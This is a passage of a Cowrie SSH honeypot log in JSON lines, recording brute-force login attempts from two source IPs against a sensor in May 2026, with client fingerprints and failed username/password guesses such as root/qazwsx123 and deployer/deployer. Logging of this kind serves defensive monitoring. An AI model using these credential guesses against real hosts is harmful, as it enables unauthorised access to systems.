{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:41.307112Z","src_ip":"192.109.200.237","session":"d6d4de54e521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:41.389512Z","src_ip":"192.109.200.237","session":"d6d4de54e521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:41.636563Z","src_ip":"192.109.200.237","session":"d6d4de54e521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:42.721480Z","src_ip":"192.109.200.237","session":"d6d4de54e521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33440,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f5e91435cce","protocol":"ssh","message":"New connection: 192.109.200.237:33440 (159.203.135.109:22) [session: 7f5e91435cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:44.455225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:44.460079Z","src_ip":"192.109.200.237","session":"7f5e91435cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:44.541841Z","src_ip":"192.109.200.237","session":"7f5e91435cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:44.787254Z","src_ip":"192.109.200.237","session":"7f5e91435cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:45.922321Z","src_ip":"192.109.200.237","session":"7f5e91435cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33448,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd101f03266d","protocol":"ssh","message":"New connection: 192.109.200.237:33448 (159.203.135.109:22) [session: dd101f03266d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:47.652814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:47.658011Z","src_ip":"192.109.200.237","session":"dd101f03266d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:47.740448Z","src_ip":"192.109.200.237","session":"dd101f03266d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:47.986520Z","src_ip":"192.109.200.237","session":"dd101f03266d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:49.070607Z","src_ip":"192.109.200.237","session":"dd101f03266d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54816,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec0833ddc9ee","protocol":"ssh","message":"New connection: 80.94.92.184:54816 (159.203.135.109:22) [session: ec0833ddc9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:50.448884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:50.472810Z","src_ip":"80.94.92.184","session":"ec0833ddc9ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:50.600387Z","src_ip":"80.94.92.184","session":"ec0833ddc9ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57120,"dst_ip":"159.203.135.109","dst_port":22,"session":"a141e088d4e7","protocol":"ssh","message":"New connection: 192.109.200.237:57120 (159.203.135.109:22) [session: a141e088d4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:50.772217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:50.777329Z","src_ip":"192.109.200.237","session":"a141e088d4e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:50.867251Z","src_ip":"192.109.200.237","session":"a141e088d4e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:51.184903Z","src_ip":"192.109.200.237","session":"a141e088d4e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:51.247897Z","src_ip":"80.94.92.184","session":"ec0833ddc9ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:52.270284Z","src_ip":"192.109.200.237","session":"a141e088d4e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:52.455219Z","src_ip":"80.94.92.184","session":"ec0833ddc9ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57132,"dst_ip":"159.203.135.109","dst_port":22,"session":"1085e7c6ae51","protocol":"ssh","message":"New connection: 192.109.200.237:57132 (159.203.135.109:22) [session: 1085e7c6ae51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:53.874174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:53.987617Z","src_ip":"192.109.200.237","session":"1085e7c6ae51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:53.991801Z","src_ip":"192.109.200.237","session":"1085e7c6ae51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:54.332617Z","src_ip":"192.109.200.237","session":"1085e7c6ae51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:55.419213Z","src_ip":"192.109.200.237","session":"1085e7c6ae51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57146,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4cb3ad746d1","protocol":"ssh","message":"New connection: 192.109.200.237:57146 (159.203.135.109:22) [session: e4cb3ad746d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:57.208873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:57.214027Z","src_ip":"192.109.200.237","session":"e4cb3ad746d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:57.297894Z","src_ip":"192.109.200.237","session":"e4cb3ad746d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:57.548531Z","src_ip":"192.109.200.237","session":"e4cb3ad746d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:04:58.637748Z","src_ip":"192.109.200.237","session":"e4cb3ad746d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56804,"dst_ip":"159.203.135.109","dst_port":22,"session":"5688597317ba","protocol":"ssh","message":"New connection: 192.109.200.237:56804 (159.203.135.109:22) [session: 5688597317ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:00.447180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:00.452427Z","src_ip":"192.109.200.237","session":"5688597317ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:00.535531Z","src_ip":"192.109.200.237","session":"5688597317ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:00.783487Z","src_ip":"192.109.200.237","session":"5688597317ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:01.868513Z","src_ip":"192.109.200.237","session":"5688597317ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56808,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3302c1bcd0e","protocol":"ssh","message":"New connection: 192.109.200.237:56808 (159.203.135.109:22) [session: e3302c1bcd0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:03.611664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:05:03.617321Z","src_ip":"192.109.200.237","session":"e3302c1bcd0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-p